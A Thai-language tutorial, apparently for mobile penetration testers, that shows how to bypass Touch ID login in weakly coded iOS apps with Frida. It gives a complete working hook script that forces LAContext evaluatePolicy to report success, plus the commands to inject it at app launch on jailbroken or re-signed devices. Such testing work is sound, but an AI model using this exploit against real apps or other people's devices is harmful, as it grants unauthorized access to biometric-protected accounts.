How to bypass Touch ID authentication (Frida)

บทความนี้กล่าวถึงวิธีการ Bypass การ login ที่ใช้ Touch ID ของโปรแกรมที่มีการเขียนอย่างไม่รัดกุม ทำให้ผู้ใช้งานสามารถใช้งาน นิ้วที่ไม่ได้ลงทะเบียน หรือลายนิ้วมืออะไรก็ได้เข้าถึงโปรแกรม

ติดตั้ง Frida บนเครื่อง MacOS สามารถติดตามได้จากบทความ How to install Frida on MacOS

สำหรับเครื่อง Jailbreak

ติดตั้ง Frida บทเครื่อง iPhone หรือ iPad แล้วสามารถติดตามได้จากบทความ How to install Frida on MacOS

สำหรับเครื่องที่ยังไม่ Jailbreak

เราจำเป็นต้องยัด Library เข้าไปในตัว application แล้วทำการ Signed application (.ipa) ใหม่อีกครั้งเพื่อสามารถติดตั้งและเชื่อมต่อกับ Frida ได้ สามารถติดตามได้จากบทความ How to patch iOS Applications using Objection และ Sign และติดตั้ง Application (.ipa) จากบทความ How to install iOS Binaries on Non-jailbroken Physical Devices Using iOS-deploy (Signed app) สำหรับอีกวิธีการคือการ patch และติดตั้ง application (.ipa) โดยใช้โปรแกรม appmon สามารถติดตามได้จากบทความ How to setup AppMon on MacOS for non-jailbroken device

เสียบสายสัญญาณและเปิดโปรแกรม ใช้ Frida บทเครื่อง MacOS เพื่อตรวจสอบว่า Frida client และ server สามารถเชื่อมต่อกันได้โดยใช้คำสั่งดังนี้ (ถ้าพบชื่อโปรแกรมที่เราเปิดอยู่ แสดงว่าสามารถเชื่อมต่อกันได้)

frida-ps -U

เมื่อติดตั้งโปรแกรม Frida และโปรแกรมสำหรับการทดสอบเรียบร้อยแล้ว ให้ลงทะเบียน Fingerprint ในเครื่อง และใน application ให้เรียบร้อย จากนั้นทดลองเขียน script ของ javascript เพื่อเปลี่ยนแปลงค่า return ของ instance จาก class ที่ชื่อว่า LAContext และปรับเปลี่ยนค่า retuen จาก method ที่ชื่อ evaluatePolicyให้มีค่าเป็นจริงเสมอ ถึงแม้ว่าเราจะทดลอง login โดยใช้ลายนิ้วมือไม่ถูกต้อง

if (ObjC.available) {
  bypass_touchID();
} else {
  console.log("Objective-C Runtime is not available!");
}
// ------------------------------------------------------------------------------

function bypass_touchID() {
  var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
  Interceptor.attach(hook.implementation, {
    onEnter: function(args) {
      send("Hooking Touch Id..")
      var block = new ObjC.Block(args[4]);
      const appCallback = block.implementation;
      block.implementation = function(error, value) {
        const result = appCallback(1, null);
        return result;
      };
    },
  });
}

โดยส่วนมากแล้วเมื่อเปิดใช้ Touch ID มักจะปรากฏขึ้นมาหน้าแรกสำหรับการ Login ดังนั้น จำเป็นต้อง Hook หรือเปลี่ยนค่า return ทันที่ที่เปิด โปรแกรมขึ้นมา ดังนั้น ให้ปิดโปรแกรมเสียก่อนแล้วเราจะเรียกใช้งาน โปรแกรมพร้อมเปลี่ยนค่า return จาก script ที่เราเขียนไว้โดยใช้คำสั่งดังนี้

source ~/virtual-python3/bin/activate
frida -D udid -l bypass.js -f “bundle_name” --no-pause

UDID สามารถหาได้จาก โปแกรม iTune โดยคลิกที่ข้อความข้างล่าง capacity ไปเรื่อย ๆ ดังนี้

หรือใช้คำสั่งของ Frida ดังนี้

frida-ls-devices

สำหรับ Bundle name สามารถตรวจสอบได้จากคำสั่ง

frida-ps -U -a

จากนั้นเมื่อ Run คำสั่งและปรากฏ Touch ID ให้ใช้นิ้วที่ผิด หรือกดปุ่ม cancel จะสั่งเกตุสามารถ login ได้เป็นปกติ